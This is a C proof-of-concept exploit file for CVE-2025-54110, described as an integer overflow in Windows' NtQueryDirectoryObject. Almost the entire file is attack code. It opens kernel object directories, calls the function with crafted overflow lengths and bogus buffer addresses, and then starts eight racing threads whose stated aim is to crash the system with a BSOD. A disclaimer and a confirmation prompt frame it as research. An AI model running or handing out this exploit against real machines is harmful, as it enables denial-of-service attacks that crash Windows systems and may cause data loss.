/* * CVE-2025-54110 Proof of Concept (PoC) * Description: Integer Overflow in NtQueryDirectoryObject leading to memory corruption. * Author: [Senin Kullanıcı Adın/Nickin] * Date: 2025 * * DISCLAIMER: * This source code is provided for educational and research purposes ONLY. * The author takes no responsibility for any damage caused by the use or misuse * of this software. Do not run this on production systems. */ #include #include #include #pragma comment(lib, "ntdll.lib") // --- NT Internal Structures & Definitions --- typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef NTSTATUS (NTAPI *pNtQueryDirectoryObject)( HANDLE DirectoryHandle, PVOID Buffer, ULONG BufferLength, BOOLEAN ReturnSingleEntry, BOOLEAN RestartScan, PULONG Context, PULONG ReturnLength ); typedef NTSTATUS (NTAPI *pNtOpenDirectoryObject)( PHANDLE DirectoryHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes ); // Helper: Initialize Object Attributes manually VOID InitializeObjectAttributes( POBJECT_ATTRIBUTES InitializedAttributes, PUNICODE_STRING ObjectName, ULONG Attributes, HANDLE RootDirectory, PVOID SecurityDescriptor ) { InitializedAttributes->Length = sizeof(OBJECT_ATTRIBUTES); InitializedAttributes->RootDirectory = RootDirectory; InitializedAttributes->Attributes = Attributes; InitializedAttributes->ObjectName = ObjectName; InitializedAttributes->SecurityDescriptor = SecurityDescriptor; InitializedAttributes->SecurityQualityOfService = NULL; } #define DIRECTORY_QUERY 0x0001 #define OBJ_CASE_INSENSITIVE 0x00000040 #define STATUS_SUCCESS 0x00000000 #define STATUS_ACCESS_VIOLATION 0xC0000005 // Function Pointers pNtQueryDirectoryObject NtQueryDirectoryObject = NULL; pNtOpenDirectoryObject NtOpenDirectoryObject = NULL; // --- Initialization --- BOOL InitializeNtFunctions() { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); if (!hNtdll) return FALSE; NtQueryDirectoryObject = (pNtQueryDirectoryObject)GetProcAddress(hNtdll, "NtQueryDirectoryObject"); NtOpenDirectoryObject = (pNtOpenDirectoryObject)GetProcAddress(hNtdll, "NtOpenDirectoryObject"); return (NtQueryDirectoryObject && NtOpenDirectoryObject); } HANDLE OpenDirectoryObject(LPCWSTR path) { UNICODE_STRING objName; OBJECT_ATTRIBUTES objAttr; HANDLE hDirectory = NULL; objName.Buffer = (PWSTR)path; objName.Length = (USHORT)(wcslen(path) * sizeof(WCHAR)); objName.MaximumLength = objName.Length + sizeof(WCHAR); InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, NULL, NULL); NTSTATUS status = NtOpenDirectoryObject(&hDirectory, DIRECTORY_QUERY, &objAttr); if (status != STATUS_SUCCESS) { return NULL; } return hDirectory; } // --- Exploitation Logic --- // Thread function for race condition attempt DWORD WINAPI PrecisionBsodThread(LPVOID lpParam) { HANDLE hDirectory = (HANDLE)lpParam; ULONG context = 0; // Targeting specific overflow thresholds ULONG thread_thresholds[] = { 0xfffffdbc, 0xfffffdbb, 0xfffffdbd, 0xfffffdba, 0xfffffdbe }; for (int i = 0; i < 5; i++) { for (int j = 0; j < 10; j++) { // Attempting to trigger memory corruption with various buffers PVOID buffer = (PVOID)(0x5050505000000000 + (j * 0x1000)); NtQueryDirectoryObject( hDirectory, buffer, thread_thresholds[i], (j % 2) == 0, (j % 3) == 0, &context, NULL ); } } return 0; } BOOL PreciseOverflowExploit(HANDLE hDirectory) { printf("[*] Attempting precision integer overflow...\n"); ULONG context = 0; ULONG returnLength = 0; ULONG precise_thresholds[] = { 0xfffffdbc, 0xfffffdbb, 0xfffffdbd }; // Test buffers PVOID test_buffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); if (!test_buffer) return FALSE; BOOL success = FALSE; for (int i = 0; i < 3; i++) { NTSTATUS status = NtQueryDirectoryObject( hDirectory, test_buffer, precise_thresholds[i], FALSE, TRUE, &context, &returnLength ); if (status == STATUS_ACCESS_VIOLATION) { printf("[+] Corruption detected with threshold: 0x%08X (Status: 0xC0000005)\n", precise_thresholds[i]); success = TRUE; } } VirtualFree(test_buffer, 0, MEM_RELEASE); return success; } void RunExploitChain() { const wchar_t* directories[] = { L"\\BaseNamedObjects", L"\\KernelObjects", L"\\Sessions", L"\\Windows" }; for (int i = 0; i < 4; i++) { HANDLE hDir = OpenDirectoryObject(directories[i]); if (!hDir) continue; printf("\n[>] Targeting directory: %ls\n", directories[i]); if (PreciseOverflowExploit(hDir)) { printf("[!] Vulnerability triggered. Attempting to crash system via race condition...\n"); HANDLE threads[8]; for (int t = 0; t < 8; t++) { threads[t] = CreateThread(NULL, 0, PrecisionBsodThread, hDir, 0, NULL); } WaitForMultipleObjects(8, threads, TRUE, 3000); for (int t = 0; t < 8; t++) { if (threads[t]) CloseHandle(threads[t]); } } CloseHandle(hDir); } } int main() { printf("==================================================\n"); printf(" CVE-2025-54110 - Kernel Integer Overflow PoC \n"); printf("==================================================\n"); printf("[!] WARNING: This code may crash the system (BSOD).\n"); printf("[?] Do you want to continue? (y/n): "); char response = getchar(); if (response != 'y' && response != 'Y') { return 0; } if (!InitializeNtFunctions()) { fprintf(stderr, "[-] Failed to resolve NT functions.\n"); return -1; } // Suppress critical error popups SetErrorMode(SEM_FAILCRITICALERRORS | SEM_NOGPFAULTERRORBOX); __try { RunExploitChain(); printf("\n[-] Exploit finished. If the system is still running, the attack may have been mitigated.\n"); } __except(EXCEPTION_EXECUTE_HANDLER) { printf("[!] Exception caught during execution.\n"); } return 0; }